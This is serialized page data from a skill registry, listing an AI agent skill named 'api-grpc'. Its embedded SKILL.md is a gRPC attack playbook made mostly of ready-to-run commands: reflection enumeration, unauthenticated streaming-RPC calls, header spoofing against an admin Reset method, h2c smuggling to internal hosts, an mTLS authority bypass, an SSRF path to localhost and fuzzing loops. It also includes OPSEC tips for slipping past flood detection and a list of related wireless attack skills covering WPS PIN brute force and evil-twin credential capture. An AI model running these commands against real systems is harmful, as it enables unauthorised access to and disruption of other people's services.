[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7706P0RW3XT1RF8XPWHQARF":3,"skill-same:01M7706P0RW3XT1RF8XPWHQARF":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7706P0RW3XT1RF8XPWHQARF","api-grpc",null,"gRPC API exploitation — reflection-based discovery via grpcurl, protobuf fuzzing, missing authz on streaming RPCs, gRPC-Web → backend SSRF, mTLS bypass, metadata header injection, h2c smuggling against gRPC fronts.","Iwakishirokoshu\u002FHermesUltimate","Iwakishirokoshu","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F194847626?v=4","01M75P4CVGA89TTCE8JGMNAQQ9","Around","01M75P4CWF85V6GVSEFKGGFZ03",0,"MIT","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fapi\u002Fgrpc\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: api-grpc\ndescription: \"gRPC API exploitation — reflection-based discovery via grpcurl, protobuf fuzzing, missing authz on streaming RPCs, gRPC-Web → backend SSRF, mTLS bypass, metadata header injection, h2c smuggling against gRPC fronts.\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"grpc proto protobuf reflection grpcurl streaming bidirectional unary mtls h2c grpc-web envoy\"\n  subdomain: api\n  tags: grpc, protobuf, http2, api\n  mitre_attack: T1190, T1203\n---\n\n# gRPC API Attack Surface\n\n## Discovery\n\n```bash\n# 1. Detect: HTTP\u002F2 + content-type application\u002Fgrpc[+proto|+json]\ncurl -s -I --http2 https:\u002F\u002Fapi.target\u002Fsvc\u002Fmethod | grep -iE 'content-type|alt-svc'\n\n# 2. List services via server reflection (often left on in prod)\ngrpcurl -plaintext target:50051 list\ngrpcurl -plaintext target:50051 list mypackage.MyService\ngrpcurl -plaintext target:50051 describe mypackage.MyService.Method\n\n# 3. If reflection disabled, grab .proto from:\n#   - Sourcemap of a gRPC-Web client app\n#   - JS bundle: `grep -ro \"name: \\\"\\\\([A-Z][A-Za-z]*Service\\\\)\" *.js`\n#   - Mobile app (apktool + jadx → search for FileDescriptorProto)\n```\n\n## Attack patterns\n\n### Missing authz on streaming RPCs\nMany implementations enforce auth on unary RPCs but skip server-streaming or bidi-streaming:\n\n```bash\ngrpcurl -plaintext -H \"authorization: bearer\" target:50051 \\\n  mypackage.MyService\u002FStreamEvents\n# Sometimes returns events without proper auth check\n```\n\n### Protobuf field-number reuse \u002F unknown-field exfil\nSend a request with extra protobuf fields (numbers not in the .proto) — older servers echo them back or expose internal state via `UnknownField` handling.\n\n```bash\necho '{\"id\": 1, \"1000000\": \"hidden field\"}' | \\\n  grpcurl -plaintext -d @ target:50051 mypackage.MyService\u002FGet\n```\n\n### Metadata header injection\ngRPC headers (metadata) often map directly to HTTP\u002F2 headers in the proxy layer:\n\n```bash\ngrpcurl -plaintext -H \"x-real-ip: 127.0.0.1\" -H \"x-forwarded-for: 127.0.0.1\" \\\n  -H \"authorization: bearer $TOKEN\" target:50051 mypackage.AdminService\u002FReset\n```\n\n### h2c smuggling — gRPC fronted by Envoy\u002Fnginx\nHTTP\u002F2 cleartext upgrade can be smuggled past h1\u002Fh2 boundary:\n\n```bash\n# Use h2csmuggler.py against an Envoy fronting a gRPC backend\npython3 h2csmuggler.py -x https:\u002F\u002Ffront.target\u002F -t \u002FAdminService.Reset http:\u002F\u002Finternal-grpc:50051\n```\n\n### mTLS bypass via SNI mismatch\nIf the backend validates mTLS but the front terminates TLS, sometimes SNI-different connections bypass:\n\n```bash\n# Connect with cert for `legit.com` but Host header `admin-internal`\ngrpcurl -cacert ca.crt -cert legit.crt -key legit.key \\\n  -authority admin-internal target:443 mypackage.AdminService\u002FReset\n```\n\n### gRPC-Web → backend SSRF\ngRPC-Web translates browser HTTP → backend gRPC. Sometimes the translator allows arbitrary upstream:\n\n```bash\n# If the Envoy filter is misconfigured:\ncurl https:\u002F\u002Ftarget\u002Fgrpc-web\u002Fupstream\u002F127.0.0.1:50051\u002FAdminService\u002FReset\n```\n\n## Fuzz strategy\n\n```bash\n# 1. Pull all the proto definitions\ngrpcurl -plaintext target:50051 describe -msg-template > schema.txt\n\n# 2. Generate fuzz inputs with grpc-fuzzer or Mayhem\nmayhem run grpcfuzzer -t target:50051 -s schema.txt\n\n# 3. Or manual: enumerate Method\u002F{empty,minimal,max,min,negative,oversized}\nfor m in $(grpcurl -plaintext target:50051 list | xargs -I{} grpcurl -plaintext target:50051 list {}); do\n  echo \"=== $m ===\"\n  grpcurl -plaintext -d '{}' target:50051 $m 2>&1 | head -5\ndone\n```\n\n## OPSEC\n\n- gRPC error responses leak internal types (stack traces in `google.rpc.Status.details`). Even hardened servers leak via timing on encrypted channels.\n- HTTP\u002F2 connection re-use makes per-request rate limiting brittle — flood detection often misses.\n\n## References\n\n- \"Attacking gRPC\" — NCC Group whitepaper\n- grpcurl manual — github.com\u002Ffullstorydev\u002Fgrpcurl\n- protoc-gen-grpc-web — gRPC-Web spec\n- DEFCON 30 \"Cloud Native Track\" — gRPC attack patterns\n","# gRPC API Attack Surface\n\n## Discovery\n\n```bash\n# 1. Detect: HTTP\u002F2 + content-type application\u002Fgrpc[+proto|+json]\ncurl -s -I --http2 https:\u002F\u002Fapi.target\u002Fsvc\u002Fmethod | grep -iE 'content-type|alt-svc'\n\n# 2. List services via server reflection (often left on in prod)\ngrpcurl -plaintext target:50051 list\ngrpcurl -plaintext target:50051 list mypackage.MyService\ngrpcurl -plaintext target:50051 describe mypackage.MyService.Method\n\n# 3. If reflection disabled, grab .proto from:\n#   - Sourcemap of a gRPC-Web client app\n#   - JS bundle: `grep -ro \"name: \\\"\\\\([A-Z][A-Za-z]*Service\\\\)\" *.js`\n#   - Mobile app (apktool + jadx → search for FileDescriptorProto)\n```\n\n## Attack patterns\n\n### Missing authz on streaming RPCs\nMany implementations enforce auth on unary RPCs but skip server-streaming or bidi-streaming:\n\n```bash\ngrpcurl -plaintext -H \"authorization: bearer\" target:50051 \\\n  mypackage.MyService\u002FStreamEvents\n# Sometimes returns events without proper auth check\n```\n\n### Protobuf field-number reuse \u002F unknown-field exfil\nSend a request with extra protobuf fields (numbers not in the .proto) — older servers echo them back or expose internal state via `UnknownField` handling.\n\n```bash\necho '{\"id\": 1, \"1000000\": \"hidden field\"}' | \\\n  grpcurl -plaintext -d @ target:50051 mypackage.MyService\u002FGet\n```\n\n### Metadata header injection\ngRPC headers (metadata) often map directly to HTTP\u002F2 headers in the proxy layer:\n\n```bash\ngrpcurl -plaintext -H \"x-real-ip: 127.0.0.1\" -H \"x-forwarded-for: 127.0.0.1\" \\\n  -H \"authorization: bearer $TOKEN\" target:50051 mypackage.AdminService\u002FReset\n```\n\n### h2c smuggling — gRPC fronted by Envoy\u002Fnginx\nHTTP\u002F2 cleartext upgrade can be smuggled past h1\u002Fh2 boundary:\n\n```bash\n# Use h2csmuggler.py against an Envoy fronting a gRPC backend\npython3 h2csmuggler.py -x https:\u002F\u002Ffront.target\u002F -t \u002FAdminService.Reset http:\u002F\u002Finternal-grpc:50051\n```\n\n### mTLS bypass via SNI mismatch\nIf the backend validates mTLS but the front terminates TLS, sometimes SNI-different connections bypass:\n\n```bash\n# Connect with cert for `legit.com` but Host header `admin-internal`\ngrpcurl -cacert ca.crt -cert legit.crt -key legit.key \\\n  -authority admin-internal target:443 mypackage.AdminService\u002FReset\n```\n\n### gRPC-Web → backend SSRF\ngRPC-Web translates browser HTTP → backend gRPC. Sometimes the translator allows arbitrary upstream:\n\n```bash\n# If the Envoy filter is misconfigured:\ncurl https:\u002F\u002Ftarget\u002Fgrpc-web\u002Fupstream\u002F127.0.0.1:50051\u002FAdminService\u002FReset\n```\n\n## Fuzz strategy\n\n```bash\n# 1. Pull all the proto definitions\ngrpcurl -plaintext target:50051 describe -msg-template > schema.txt\n\n# 2. Generate fuzz inputs with grpc-fuzzer or Mayhem\nmayhem run grpcfuzzer -t target:50051 -s schema.txt\n\n# 3. Or manual: enumerate Method\u002F{empty,minimal,max,min,negative,oversized}\nfor m in $(grpcurl -plaintext target:50051 list | xargs -I{} grpcurl -plaintext target:50051 list {}); do\n  echo \"=== $m ===\"\n  grpcurl -plaintext -d '{}' target:50051 $m 2>&1 | head -5\ndone\n```\n\n## OPSEC\n\n- gRPC error responses leak internal types (stack traces in `google.rpc.Status.details`). Even hardened servers leak via timing on encrypted channels.\n- HTTP\u002F2 connection re-use makes per-request rate limiting brittle — flood detection often misses.\n\n## References\n\n- \"Attacking gRPC\" — NCC Group whitepaper\n- grpcurl manual — github.com\u002Ffullstorydev\u002Fgrpcurl\n- protoc-gen-grpc-web — gRPC-Web spec\n- DEFCON 30 \"Cloud Native Track\" — gRPC attack patterns\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"grpc, protobuf, http2, api","api","grpc proto protobuf reflection grpcurl streaming bidirectional unary mtls h2c grpc-web envoy","T1190, T1203","Bash Read Write","main","c0c483827a963764d5e1a663a9591867d47289e6","stack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fapi\u002Fgrpc","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu","2026-06-15 13:48:41",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Iwakishirokoshu\u002FHermesUltimate --skill api-grpc",{"tool":42,"command":43},"bunx","bunx skills add Iwakishirokoshu\u002FHermesUltimate --skill api-grpc",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Iwakishirokoshu\u002FHermesUltimate --skill api-grpc","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fapi\u002Fgrpc\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M770W8JDE5EC1TJT4GSDWD78","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M770W4B7T5VCVHB88V1F02H1","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M770W093C8FAV8S34K8VB6T9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M770VTNAQGZ3D0RQVFEKTE8Z","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M770VNG05ZX3CV84R9GX8PJN","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M770VHFH7N192V56PFSRXF5K","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]